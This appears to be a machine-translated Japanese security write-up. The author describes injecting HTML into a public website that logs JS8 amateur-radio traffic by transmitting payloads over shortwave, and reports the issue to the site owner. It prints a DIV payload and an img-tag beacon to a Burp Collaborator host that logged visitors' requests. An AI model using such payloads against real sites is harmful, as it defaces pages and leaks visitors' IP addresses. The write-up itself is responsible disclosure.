昔ながらの電話の笛が戻ってきました。
まあ、ほぼそうなのですが、下のこの音声はそれほど遠くありません。
7 月 13 日に、興味深い脆弱性が発見されました。特定の Web ページはデジタル ラジオの会話を追跡しており、その局が聞いている内容の実行ログを表示していました。この種のことに興味がある場合、これは便利なツールです。結局のところ、自分の通話が聞こえているかどうか、または参加したいと思われる進行中の会話があるかどうかを知ることができるのは素晴らしいことです。このツールは、聞こえたものをすべてキャプチャし、Web ページに挿入しました。メッセージを送信すると、数秒後にメッセージが表示されます。メッセージに HTML が含まれている場合、それは Web ページにも表示されることになります。古典的な HTML インジェクション。
では、これはどのように機能するのでしょうか?
このような攻撃を実行するには、実際にはインターネットはまったく必要ありません。必要なのは長いワイヤーだけです。 2023 年 2 月に公開された「空中攻撃」シリーズでは、913 MHz で動作するコントローラーを備えたバスケットボールのスコアボードによって引き起こされるワイヤレスの問題について説明しました。この記事では、周波数をずっと下げて、短波ラジオ帯域に移行します。この攻撃は 7.078 MHz および 14.078 MHz で機能します。
ここには興味深いデジタル信号がたくさんあり、JS8 もその 1 つです。 JS8 は、アマチュア無線用の人気のあるキーボード間のチャット ツールです。長距離やリンク状態が非常に悪い場合でも直接会話を可能にする点で非常に優れています。 JS8 自体は FT8 をベースにしています。FT8 は、お互いの声がほとんど聞こえないステーション間で簡単に通信するための非常に人気のあるツールです。昼も夜も、FT8 と JS8 は継続的に使用されています。
短波帯域の信号ではいくつかの奇妙な現象が発生します。それは非常に低い周波数なので、私たちの上空100マイルで、地球の電離層のE層とF層が無線信号を再び地面に反射し始めます。信号は、水面から石を飛ばすように、地球と地面の間を何度も往復します。これにより、夜に地球の反対側の商用AM放送局を聞くことができます。日中は、このバウンスがより高い周波数でも機能し、長距離にわたる通信が可能になります。私の裏庭の送信機とウェブサイトのステーションは 1,074 マイル離れています。ワンバウンドでその距離を簡単にカバーできます。
では、短波信号を使用して Web サイトを攻撃するにはどうすればよいでしょうか?
JS8 メッセージは、すべて大文字の ASCII テキストで構成されます。ほとんどのメッセージは、Skywarn、JS8Chess、または全員を指す場合は単に ALLCALL などの幅広いグループに送信されます。これに続くメッセージは何でも構いません。まず、エディターで HTML ペイロードを構築します。識別のためにアマチュア無線のコールサインを法的に提供する必要があります (このステップは実際の攻撃者には無視されます)。最終的な最終メッセージは次のようになります。
KJ7YLS: @TEST <DIV STYLE="WIDTH: 500PX;HEIGHT:100PX;COLOR:RED;">HTML インジェクション!</DIV>
これで送信の準備が整いました。 JS8 ソフトウェアは、このテキストをバイナリに変換し、前方誤り訂正を追加し、ガウス周波数シフト キーイング (GFSK) を使用して結果を変調します。最終製品は、奇妙な笛の音のように聞こえます。 Audacity を使用してサウンドを開き、スペクトログラムを開くと、次のようになります。
よく見ると、GFSK 変調が 1 つの周波数から別の周波数にゆっくりと移行していることがわかります。また、各周波数で特定の時間保持されます。ここでは 8 つの異なる周波数が使用されているため、各シンボルには 8 つの異なる状態があります。その結果、各シンボルは一度に 3 ビットを伝送できます。これをいくつかのラベルで示します。
次に、ヒューヒューというノイズを無線送信機のマイクに送信します。ほとんどのアマチュア信号や軍用信号と同様に、音声は AM 放送タイプの信号の一部である上側波帯変調を使用して配信されます。 JS8 メッセージはいくつかの周波数で標準化されており、ターゲットは 7.078 MHz と 14.078 MHz でリッスンします。ラジオをいずれかの周波数に調整し、20 ワットの電力を使用して、空中約 30 フィートの 16 AWG ワイヤに音声を送信します。信号は空中に放射され、電離層で反射し、アンテナで受信されます。彼らの JS8 ソフトウェアはプロセスを逆にして、ASCII メッセージを取り出します。この時点で問題が見えてきます。
Web サイト (著者に敬意を表し、この記事ではリンクを差し控えています) は、JS8 トラフィックをログに記録します。内部では、JS8 ソフトウェアの API と直接通信する便利な Python ツールであるJS8Netを利用しています。リポジトリでは、 monitor.pyスクリプトが JS8 メッセージを取得し、Web サイトに配置します。執筆時点では、859 行目に次のコード行が含まれています。
# Text j['text']=j['stuff']['params']['TEXT'] key=str(j['stuff']['time']) j['id']=':'.join([fmcall,tocall,key,str(j['freq'])]) traffic[key]=json.dumps(j)
j['stuff']['params']['TEXT'] は、 Collector.pyから取得された ASCII JS8 メッセージであり、JS8 ソフトウェアの API から取得されます。このステップの後、javascript を使用して、 traffic[key]内のテキストがページに配置されます。これらの手順は問題ありません。この問題は、JS8 ソフトウェアによってすでに完全に処理されている JS8 トラフィックが準備ができており、Web ページのコンテキストに影響を与えないと想定されているため、コンテキストの変更で発生します。これは、悪用できる動作です。
最初から最後まで、攻撃は次のようになります。
数分後、私たちのメッセージがウェブサイトに記録されました...
最終的な結果はほとんどが表面的なものです。これは公開ページであるため、盗むセッション Cookie やなりすましのコントロールはありません。保存された XSS も現実的な可能性ですが、非常に多くの時間のかかるペイロード (各 JS8 メッセージの送信に数分かかる) を送信してイライラする朝を過ごした後、ページ上で実行される Javascript を動作させることができませんでした。 JS8net ソフトウェアが多くの重要な文字や単語を誤ってブロックしてしまったので、私たちの回避策は効果がなかったようです。
それでも、ここでは Burp Suite が役に立ちました。その日、電離層は協力的で、信号をかなりうまく反射していました。他のツールから、他の国のステーションが米国からの JS8 トラフィックを受信していることは知っていました。それで、私の次のペイロードは
KJ7YLS: @ALLCALL <img src="http://727k2w1hfoamqewpm7rpiocu0l6cu2ir.oastify.com" alt="@HB DN13">
この URL は、Burp Suite の Collaborator ツールによって実行される DNS および HTTP リスナーを指します。このツールは、帯域外の情報漏洩を見つけるための侵入テスト中によく使用されます。これも例外ではありませんでした。数分以内に、チリのページにアクセスしたユーザーからの DNS および HTTP トラフィックが Collaborator サーバーによって記録されました。私も注射を検査するページを閲覧しましたが、同様に記録されました。
これは私が注射に関して倫理的に行きたいと思っていた限りのことでした。私はこの問題を Web サイトの所有者である Jeff に報告し、修正に関する提案を行いました。翌日、彼は私に戻ってきてこう言いました。
私自身もセキュリティ関連の仕事をしています (ベイエリアのネットワーク セキュリティ会社で研究開発を行っています) が、Web サイトをハッキングするために無線経由で JS を送信することはまったく考えてもいなかったことを認めざるを得ません。
パッチが公開されるのを待っている間、JS8Net README の数行を振り返りました。
It's important to note that this part of the software is still very much in the development stage, and may have critical vulnerabilities that make exposing the exposed services to the open Internet a Very Bad Idea. While it certainly will work, it's intended for protected, internal LAN use at this time.
正直なところ、これは一般的に、特に進行中で徹底的にテストされていないプロジェクトにとっては優れた警告です。現時点での脆弱性は「未知の未知」ですが、作成者は主にソフトウェア内で公開されているリスナーと API について考えていました。ただし、私たちは少し異なる種類の問題を利用しました。 README では、このサービスは LAN 内で実行する必要があり、そうすることで他のユーザーを HTML インジェクションや Web ページの汚損から確実に保護できると警告しています。ただし、Collaborator ペイロードを含むペイロードでは、プライベート LAN 内でページを閲覧している人のパブリック IP アドレスも漏洩するため、対処するのが少し難しくなります。
簡単に言えば、これはインターネット上の Web ページを攻撃する無線信号です。攻撃者は、インターネット上で自分の身元を隠そうとするために、VPN、Tor、ボットネットを悪用する必要はありません。 JS8 は、ノイズ フロアより -24dB 低いメッセージを抽出するのに非常に効果的であるため (このレベルでは口笛は文字通り聞こえません)、遠く離れたステーションに到達するために必要な電力はほとんどありません。電離層の条件が良好であれば、1 ワットの送電電力で米国全土を沿岸から沿岸まで伝送できます。攻撃者は世界中のどこにでもいる可能性があります。必要なのはバーストメッセージだけなので、方向探知も困難です。このようなものでは、追跡不可能に近いものだと思います。
タイムライン: